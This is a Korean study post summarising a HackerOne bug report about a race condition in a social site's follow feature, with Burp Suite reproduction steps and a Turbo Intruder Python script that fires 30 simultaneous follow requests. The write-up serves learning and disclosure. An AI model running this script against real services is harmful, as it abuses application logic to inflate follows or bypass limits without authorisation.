본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다.
-분석 레포트-
https://hackerone.com/reports/927384
Summary
사용자를 팔로우 할 때, Race Condition 취약점이 존재한다. 요청을 비동기적으로 보내는 경우 Follow 오류 메시지가 표시되는 대신 사용자를 여러 번 팔로우 할 수 있다. ( 제보자는 Race Condition 공격을 시도하기 위해 Burp Suite에서 Turbo intruder 확장을 사용 )
Steps to Reproduce
1. 사용자 프로필로 이동
2. Burp Suite에서 Intercept를 켜고, Follow 버튼을 클릭한다.
3. 잡은 패킷을 통해 Send to turbo intruder
4. %s 값 이 포함된 가짜 헤더를 추가한다. ( Test: %s 와 같이... )
5. Turbo Intruder에 아래 파이썬 코드를 복사한다.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
for i in range(30):
engine.queue(target.req, str(i), gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
6. Attack 버튼을 클릭한다. Turbo Intruder는 30개의 요청을 보내고 상태 코드를 확인한다. 201 응답 코드가 여러개 표시된다면, 사용자를 여러번 팔로우 했다는 의미이다.
Impact
Race Condition 취약점으로 하나의 계정으로 사용자를 여러 번 팔로우 할 수 있다.